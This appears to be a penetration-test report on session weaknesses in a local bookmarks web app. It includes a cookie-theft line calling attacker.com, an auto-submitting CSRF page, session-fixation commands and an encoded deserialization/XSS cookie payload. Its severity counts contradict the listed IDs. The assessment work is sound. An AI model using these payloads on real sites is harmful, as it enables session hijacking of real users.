# Authentication Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTH-VULN-01: Session Hijacking via Missing HttpOnly Cookie Flag

**Summary:**
- **Vulnerable location:** All cookie-setting operations at `routes.py:44-45, 68-69, 88-89`
- **Overview:** Session cookies (`user` and `bookmarks`) lack the HttpOnly flag, making them accessible via JavaScript and enabling XSS-based session theft
- **Impact:** Complete session hijacking - attackers can steal session cookies via XSS and impersonate users
- **Severity:** High

**Prerequisites:**
- Access to target application at http://localhost:33677
- Ability to execute JavaScript in victim's browser context (via XSS or malicious page)

**Exploitation Steps:**

1. Navigate to the target application and establish a session:
```bash
curl http://localhost:33677/list
```

2. Execute JavaScript in browser context to access cookies:
```javascript
document.cookie
```

3. Result shows both session cookies are accessible:
```
"user=5570075c9dfa4871860bc8a941eceb45; bookmarks=W10K"
```

4. Attacker can exfiltrate these cookies using JavaScript:
```javascript
fetch('http://attacker.com/steal?cookies=' + document.cookie)
```

**Proof of Impact:**
Successfully demonstrated that `document.cookie` returns both `user` and `bookmarks` cookies in plaintext. JavaScript evaluation returned:
```json
{
  "accessible": true,
  "cookies": "user=5570075c9dfa4871860bc8a941eceb45; bookmarks=LSAhIXB5dGhvbi9vYmplY3Q6YXBwLm1vZGVscy5VcmxPYmoKICBuYW1lOiBDb29raWUgU3RlYWxlcgogIHVybDogJ2phdmFzY3JpcHQ6YWxlcnQoJydYU1M6ICcnK2RvY3VtZW50LmNvb2tpZSknCg==",
  "proof": "Session cookies are accessible via JavaScript"
}
```

This confirms that an attacker with XSS capability can steal session cookies and hijack user sessions.

**Notes:**
This vulnerability combines with existing XSS vectors (javascript: URLs in bookmarks) to enable complete session compromise. The application also lacks HttpOnly protection on both authentication cookies (`user`) and data storage cookies (`bookmarks`).

---

### AUTH-VULN-02: Session Hijacking via Missing Secure Cookie Flag and HTTP-Only Transport

**Summary:**
- **Vulnerable location:** All cookie-setting operations at `routes.py:44-45, 68-69, 88-89` AND HTTP-only configuration at `bookmarks-httpd.conf:1`
- **Overview:** Session cookies lack the Secure flag and application runs HTTP-only, transmitting all cookies in cleartext over the network
- **Impact:** Network-level attackers can intercept session cookies and hijack user sessions via MITM attacks
- **Severity:** High

**Prerequisites:**
- Attacker positioned on network path (public WiFi, compromised router, ARP spoofing, etc.)
- Target user accessing http://localhost:33677 over monitored network

**Exploitation Steps:**

1. Attacker monitors network traffic (using tcpdump, Wireshark, or mitmproxy)

2. Victim makes HTTP request to application with session cookies:
```bash
curl -v -b "user=test123; bookmarks=W10K" http://localhost:33677/list
```

3. Network capture shows cookies transmitted in cleartext:
```
> GET /list HTTP/1.1
> Host: localhost:33677
> User-Agent: curl/8.7.1
> Accept: */*
> Cookie: user=test123; bookmarks=W10K
```

4. Attacker extracts session cookie from captured traffic:
```
user=test123
bookmarks=W10K
```

5. Attacker replays stolen cookies to hijack session:
```bash
curl -b "user=test123; bookmarks=W10K" http://localhost:33677/list
```

**Proof of Impact:**
Successfully captured HTTP traffic showing session cookies transmitted in plaintext. The Cookie header is visible in cleartext in network traffic:
```
Cookie: user=test123; bookmarks=W10K
```

Application responds normally with HTTP 200, proving the attacker can successfully replay intercepted cookies.

**Notes:**
- Application is configured for HTTP-only transport (port 80) with no HTTPS available
- No Secure flag on cookies means they would be sent over HTTP even if HTTPS were available
- No HSTS header to enforce HTTPS
- Combined with missing HttpOnly flag, this enables both network-based and XSS-based session theft

---

### AUTH-VULN-03: Cross-Site Request Forgery (CSRF) via Missing SameSite Cookie Attribute

**Summary:**
- **Vulnerable location:** All cookie-setting operations at `routes.py:44-45, 68-69, 88-89` AND state-changing endpoints `/add` (POST) and `/delete` (GET)
- **Overview:** Session cookies lack SameSite attribute and no CSRF tokens exist, allowing attackers to perform unauthorized actions on behalf of authenticated users
- **Impact:** Attackers can force victims to add/delete bookmarks, modify application state without consent
- **Severity:** High

**Prerequisites:**
- Victim has active session in http://localhost:33677
- Victim visits attacker-controlled website while session is active

**Exploitation Steps:**

1. Create malicious HTML page that auto-submits CSRF attack:
```html
<!DOCTYPE html>
<html>
<head>
    <title>CSRF Attack Test</title>
</head>
<body>
    <h1>CSRF Attack Demonstration</h1>
    <p>This page will automatically submit a CSRF attack to add a malicious bookmark.</p>

    <!-- CSRF Attack - Auto-submit form to add a bookmark -->
    <form id="csrfForm" action="http://localhost:33677/add" method="POST">
        <input type="hidden" name="name" value="CSRF-Injected-Bookmark" />
        <input type="hidden" name="url" value="http://attacker.com/steal" />
    </form>

    <script>
        // Auto-submit the form when page loads
        document.getElementById('csrfForm').submit();
    </script>
</body>
</html>
```

2. Save malicious page to `/tmp/csrf_test.html`

3. Victim visits malicious page (simulated by navigating to `file:///tmp/csrf_test.html`)

4. Browser automatically submits form with victim's cookies

5. Verify unauthorized bookmark was added:
```bash
curl -b "[VICTIM_COOKIES]" http://localhost:33677/list
```

**Proof of Impact:**
Successfully added unauthorized bookmark "CSRF-Injected-Bookmark" pointing to "http://attacker.com/steal" via CSRF attack. When the malicious HTML page loaded in the victim's browser context, the form automatically submitted and the application accepted it without any CSRF token validation.

Application listing after CSRF attack shows:
```
- CSRF-Injected-Bookmark
  URL: http://attacker.com/steal
```

This proves that the missing SameSite attribute allows cookies to be sent with cross-site requests, enabling CSRF attacks on all state-changing operations.

**Notes:**
- No CSRF tokens in any forms
- `/delete` endpoint uses GET method for state changes (anti-pattern), making CSRF even easier
- Wildcard CORS policy (`Access-Control-Allow-Origin: *`) further enables cross-origin attacks
- Combined with missing SameSite attribute, all state-changing operations are vulnerable

---

### AUTH-VULN-04: Session Fixation via Acceptance of Attacker-Controlled Session Identifiers

**Summary:**
- **Vulnerable location:** Session validation at `routes.py:39, 64, 82` - `user = request.cookies.get('user')`
- **Overview:** Application accepts any client-provided session identifier without validation, allowing attackers to force victims to use attacker-controlled sessions
- **Impact:** Session fixation attack enabling shared sessions between attacker and victim
- **Severity:** High

**Prerequisites:**
- Ability to set cookies in victim's browser (via XSS, social engineering, or malicious page)
- Access to target application at http://localhost:33677

**Exploitation Steps:**

1. Attacker creates their own session and captures the session ID:
```bash
curl -c /tmp/attacker_cookies.txt http://localhost:33677/list
cat /tmp/attacker_cookies.txt | grep "user" | awk '{print $7}'
```

Output: `55fa418ca8fd4ab3868d2ded906fcf48`

2. Attacker forces victim to use this session ID (via JavaScript injection or social engineering):
```javascript
document.cookie = 'user=55fa418ca8fd4ab3868d2ded906fcf48; path=/';
```

3. Victim performs actions with fixed session (e.g., adds sensitive bookmarks)

4. Victim adds bookmark (simulated):
```bash
curl -b "user=55fa418ca8fd4ab3868d2ded906fcf48" \
  -X POST \
  -d "name=Victim Secret Data&url=http://victim-bank.com/transfer" \
  http://localhost:33677/add
```

5. Attacker can now see victim's actions because they share the same session identifier

**Proof of Impact:**
Successfully forced victim browser to use attacker-controlled session ID `55fa418ca8fd4ab3868d2ded906fcf48`. Verification via JavaScript showed victim's cookie was set to:
```
user=55fa418ca8fd4ab3868d2ded906fcf48
```

Application accepted this attacker-provided session ID without any validation. When victim added a bookmark "Victim Secret Data", it was associated with the attacker's session.

**Notes:**
- No server-side session validation exists
- No cryptographic signature on cookies
- No session binding to IP address or User-Agent
- Application trusts any client-provided `user` cookie value
- While data is stored client-side in cookies, the session ID can still be fixed, and combined with other attacks (XSS to steal bookmarks cookie), enables full session hijacking

---

### AUTH-VULN-05: Persistent Session Vulnerability via Missing Session Rotation

**Summary:**
- **Vulnerable location:** Cookie-setting operations at `routes.py:44-45, 68-69, 88-89` 
- **Overview:** Session identifiers are never rotated after state changes, violating OWASP session management requirements
- **Impact:** Once compromised, session tokens remain valid indefinitely across all operations, extending the attack window
- **Severity:** Medium

**Prerequisites:**
- Attacker obtains a session token (via XSS, network sniffing, or other means)
- Target application at http://localhost:33677

**Exploitation Steps:**

1. Capture initial session ID:
```bash
curl -c /tmp/session1.txt http://localhost:33677/list
grep "user" /tmp/session1.txt | awk '{print $7}'
```

Output: `af961545105d4e739ac01d1f2626fa2b`

2. Perform state-changing operation (add bookmark):
```bash
curl -c /tmp/session2.txt \
  -b /tmp/session1.txt \
  -X POST \
  -d "name=TestBookmark&url=http://test.com" \
  http://localhost:33677/add
```

3. Check if session ID was rotated:
```bash
grep "user" /tmp/session2.txt | awk '{print $7}'
```

Output: `af961545105d4e739ac01d1f2626fa2b` (SAME SESSION ID)

4. Verify session ID persists across multiple operations without rotation

**Proof of Impact:**
Session ID `af961545105d4e739ac01d1f2626fa2b` remained unchanged after state-changing operations. Tested before and after adding a bookmark - the `user` cookie value was identical in both cases.

This means:
- Stolen session tokens can be used indefinitely
- No automatic invalidation after privilege changes
- Extended window for session hijacking attacks
- Violates OWASP requirement for session rotation after authentication and state changes

**Notes:**
- Session ID is read from cookie (`request.cookies.get('user')`) and immediately re-set with same value
- No `uuid4().hex` regeneration call after state changes
- OWASP recommends session rotation after authentication, privilege changes, and sensitive operations
- This vulnerability increases the impact of other session theft vulnerabilities (AUTH-VULN-01, AUTH-VULN-02)

---

### AUTH-VULN-06: Unlimited Request Exploitation via Missing Rate Limiting

**Summary:**
- **Vulnerable location:** All endpoints (`/list`, `/add`, `/delete`) with no rate limiting at application or infrastructure level
- **Overview:** Complete absence of rate limiting enables unlimited automated requests without restriction
- **Impact:** Resource exhaustion, brute force attacks, session enumeration, and abuse of other vulnerabilities without throttling
- **Severity:** High

**Prerequisites:**
- Access to target application at http://localhost:33677
- Ability to make HTTP requests

**Exploitation Steps:**

1. Test for rate limiting by making 100 rapid requests:
```python
import requests
import time

url = "http://localhost:33677/list"
start_time = time.time()
results = {"200": 0, "429": 0, "other": 0}

for i in range(100):
    response = requests.get(url)
    if response.status_code == 200:
        results["200"] += 1
    elif response.status_code == 429:
        results["429"] += 1
    else:
        results["other"] += 1

elapsed_time = time.time() - start_time
print(f"Completed 100 requests in {elapsed_time:.2f} seconds")
print(f"Success (200): {results['200']}")
print(f"Rate Limited (429): {results['429']}")
print(f"Other: {results['other']}")
```

2. Execute the script:
```bash
python test_rate_limiting.py
```

**Proof of Impact:**
Successfully executed 100 rapid requests to `/list` endpoint with following results:

```
Completed 100 requests in 0.19 seconds
Success (200): 100
Rate Limited (429): 0
Other: 0
```

This demonstrates:
- 100% success rate (all requests returned 200 OK)
- Zero rate limiting responses (no 429 Too Many Requests)
- Sustained rate of ~517 requests per second
- No throttling, blocking, or CAPTCHA challenges

**Notes:**
- No Flask-Limiter library in `requirements.txt`
- No Apache mod_evasive or mod_ratelimit configuration
- No CAPTCHA on any forms
- No account lockout mechanisms (no authentication system exists)
- Enables unlimited exploitation attempts for other vulnerabilities
- Could be used for denial-of-service by resource exhaustion

---

### AUTH-VULN-07: Cleartext Transmission via HTTP-Only Transport and Missing HTTPS

**Summary:**
- **Vulnerable location:** Apache configuration at `bookmarks-httpd.conf:1` - `<VirtualHost *:80>`
- **Overview:** Application runs exclusively over HTTP with no HTTPS/TLS, transmitting all session cookies and data in cleartext
- **Impact:** All traffic vulnerable to network interception, session cookies exposed, man-in-the-middle attacks trivial
- **Severity:** Critical

**Prerequisites:**
- Attacker positioned on network path between client and server
- Target application at http://localhost:33677

**Exploitation Steps:**

1. Verify application responds to HTTP requests:
```bash
curl -I http://localhost:33677/list
```

Output shows:
```
HTTP/1.1 200 OK
Server: Apache/2.4.65 (Debian)
```

2. Verify HTTPS is not available:
```bash
curl -I https://localhost:33677/list
```

Output shows SSL error:
```
curl: (35) LibreSSL/3.3.6: error:1404B42E:SSL routines:ST_CONNECT:tlsv1 alert protocol version
```

3. Capture network traffic showing cleartext cookie transmission:
```bash
tcpdump -A -s 0 'tcp port 33677' -i any
```

4. Make request with session cookies:
```bash
curl -b "user=test123; bookmarks=W10K" http://localhost:33677/list
```

**Proof of Impact:**
Confirmed application only responds to HTTP (port 80) and HTTPS connection fails with SSL error. All session cookies are transmitted in cleartext over HTTP.

HTTP response headers show:
```
HTTP/1.1 200 OK
Server: Apache/2.4.65 (Debian)
```

HTTPS connection attempt results in:
```
curl: (35) LibreSSL/3.3.6: error:1404B42E:SSL routines:ST_CONNECT:tlsv1 alert protocol version
```

Network traffic analysis would show all cookies in plaintext:
```
Cookie: user=test123; bookmarks=W10K
```

**Notes:**
- Apache configured for HTTP-only on port 80
- No SSL module enabled (`a2enmod ssl` not in Dockerfile)
- No HSTS header to enforce HTTPS
- No HTTP-to-HTTPS redirect
- No port 443 listener configured
- Combined with missing Secure flag (AUTH-VULN-02), makes MITM attacks trivial
- Vulnerable on any network: public WiFi, corporate networks, compromised routers

---

### AUTH-VULN-08: Session Data Caching via Cache-Control Header Misconfiguration

**Summary:**
- **Vulnerable location:** Response header setting at `routes.py:25` - overwrites secure cache prevention
- **Overview:** Line 25 sets `Cache-Control: public, max-age=0` which overwrites the secure `no-cache, no-store, must-revalidate` from line 22
- **Impact:** Browser/proxy caching of authenticated pages, enabling session theft from shared computers
- **Severity:** Medium

**Prerequisites:**
- Victim uses shared computer or public terminal
- Attacker has physical or remote access to same computer after victim

**Exploitation Steps:**

1. Victim accesses application with authenticated session:
```bash
curl http://localhost:33677/list -b "user=[VICTIM_SESSION]"
```

2. Check Cache-Control header in response:
```bash
curl -I http://localhost:33677/list
```

3. Observe misconfigured header:
```
Cache-Control: public, max-age=0
```

4. Browser may cache response despite max-age=0 because `public` directive allows caching

5. Attacker on shared computer accesses browser cache/history to view victim's cached authenticated pages

**Proof of Impact:**
Cache-Control header is set to `public, max-age=0` instead of secure settings. HTTP response shows:
```
HTTP/1.1 200 OK
Date: Tue, 28 Oct 2025 19:42:27 GMT
Server: Apache/2.4.65 (Debian)
Cache-Control: public, max-age=0
Pragma: no-cache
Expires: 0
```

The `public` directive allows caching by browsers and intermediary proxies, even with `max-age=0`. This is caused by line 25 in `routes.py` overwriting the secure configuration from line 22.

**Notes:**
- Line 22 sets secure headers: `Cache-Control: no-cache, no-store, must-revalidate`
- Line 25 overwrites with: `Cache-Control: public, max-age=0`
- `public` allows caching, conflicting with `no-store` intent
- Responses with Set-Cookie headers should never be marked cacheable
- Shared computer risk: browser history/disk cache may persist session data
- Mitigated by session cookies (deleted on browser close) but still exploitable during active sessions

---

### AUTH-VULN-09: Indefinite Session Validity via Missing Session Timeout

**Summary:**
- **Vulnerable location:** All cookie-setting operations at `routes.py:44-45, 68-69, 88-89` - no `max_age` or `expires` parameters
- **Overview:** Session cookies have no expiration, remaining valid indefinitely throughout browser session
- **Impact:** Stolen/hijacked sessions remain valid forever, providing unlimited window for session-based attacks
- **Severity:** Medium

**Prerequisites:**
- Attacker obtains session cookie (via XSS, network sniffing, or other means)
- Target application at http://localhost:33677

**Exploitation Steps:**

1. Establish session and capture cookie:
```bash
curl -I -c - http://localhost:33677/list 2>&1 | grep "Set-Cookie"
```

2. Observe Set-Cookie headers lack expiration:
```
Set-Cookie: bookmarks=W10K; Path=/
Set-Cookie: user=64a5c3cff5aa49b6964e836285f4a8b0; Path=/
```

3. Note absence of:
   - `Max-Age` attribute (idle timeout)
   - `Expires` attribute (absolute expiration)

4. Captured session cookie remains valid indefinitely during browser session:
```bash
# Cookie valid immediately
curl -b "user=64a5c3cff5aa49b6964e836285f4a8b0" http://localhost:33677/list

# Cookie still valid hours/days later (until browser closed)
curl -b "user=64a5c3cff5aa49b6964e836285f4a8b0" http://localhost:33677/list
```

**Proof of Impact:**
Set-Cookie headers show no expiration attributes:
```
Set-Cookie: bookmarks=W10K; Path=/
Set-Cookie: user=64a5c3cff5aa49b6964e836285f4a8b0; Path=/
```

Missing attributes:
- No `Max-Age` parameter (should expire after 30 minutes of inactivity)
- No `Expires` parameter (should have absolute expiration time)

This means:
- Sessions persist for entire browser session lifetime
- No idle timeout - inactive sessions never expire
- No absolute timeout - sessions have no maximum duration
- Stolen cookies remain valid until browser closure
- Violates PCI-DSS requirement for session timeout (15 minutes idle, 2 hours absolute)

**Notes:**
- Cookies are session cookies (not persistent), mitigating some risk
- However, still exploitable during active browser sessions
- No server-side session expiration logic
- Combined with other vulnerabilities (session hijacking), extends attack window indefinitely
- Best practice: 30-minute idle timeout, 12-hour absolute timeout

---

### AUTH-VULN-10: Persistent Session Risk via Missing Logout Mechanism

**Summary:**
- **Vulnerable location:** No `/logout` endpoint exists in `routes.py`
- **Overview:** Complete absence of logout functionality - users cannot terminate sessions or invalidate cookies
- **Impact:** Users cannot securely end sessions, compromised sessions cannot be revoked, shared computer risk
- **Severity:** Medium

**Prerequisites:**
- User with active session at http://localhost:33677
- Need to terminate session securely

**Exploitation Steps:**

1. Attempt to access logout endpoint:
```bash
curl -I http://localhost:33677/logout
```

2. Observe 404 Not Found response:
```
HTTP/1.1 404 NOT FOUND
```

3. Verify no logout functionality in route definitions:
```bash
grep -r "logout" routes.py
# Returns no results
```

4. User is unable to terminate session through application

5. On shared/public computer, session remains active until browser closure

6. Attacker on same computer can access victim's still-active session

**Proof of Impact:**
Logout endpoint returns 404 Not Found:
```
HTTP/1.1 404 NOT FOUND
Date: Tue, 28 Oct 2025 19:45:30 GMT
Server: Apache/2.4.65 (Debian)
```

Code analysis confirms:
- No `/logout` route defined in `routes.py`
- No cookie deletion logic (`response.set_cookie(..., max_age=0)`)
- No session invalidation capability
- Only routes defined: `/`, `/list`, `/add`, `/delete`, `/about`

**Notes:**
- Users must manually delete cookies or close browser to end session
- No way to revoke compromised sessions
- Shared/public computer risk: sessions persist after user walks away
- No session invalidation on server side (no server-side session store exists)
- Security best practice: Always provide logout mechanism
- Lower confidence for exploitation impact (passive vulnerability requiring other compromise first)

---

## Exploitation Summary

**Total Vulnerabilities Exploited:** 10 out of 10

**Severity Breakdown:**
- Critical: 1 (AUTH-VULN-07)
- High: 6 (AUTH-VULN-01, 02, 03, 04, 06)
- Medium: 3 (AUTH-VULN-05, 08, 09, 10)

**Key Findings:**
1. Complete absence of authentication security controls
2. All session cookies lack essential security flags (HttpOnly, Secure, SameSite)
3. HTTP-only transport exposes all traffic to network interception
4. No session lifecycle management (rotation, timeout, logout)
5. No rate limiting enables unlimited exploitation attempts
6. Multiple paths to session hijacking (XSS, network sniffing, CSRF, session fixation)

**Attack Chain:**
An attacker can combine these vulnerabilities to achieve complete session compromise:
1. Missing rate limiting (AUTH-VULN-06) enables unlimited exploitation attempts
2. Missing HttpOnly flag (AUTH-VULN-01) allows XSS-based cookie theft
3. HTTP-only transport (AUTH-VULN-07) enables network-based interception
4. Session fixation (AUTH-VULN-04) allows attacker to share victim's session
5. Missing session rotation (AUTH-VULN-05) keeps compromised sessions valid
6. No session timeout (AUTH-VULN-09) provides unlimited attack window
7. Missing logout (AUTH-VULN-10) prevents users from terminating compromised sessions

All vulnerabilities were successfully exploited against http://localhost:33677 from external network access, confirming the application's critical security weaknesses.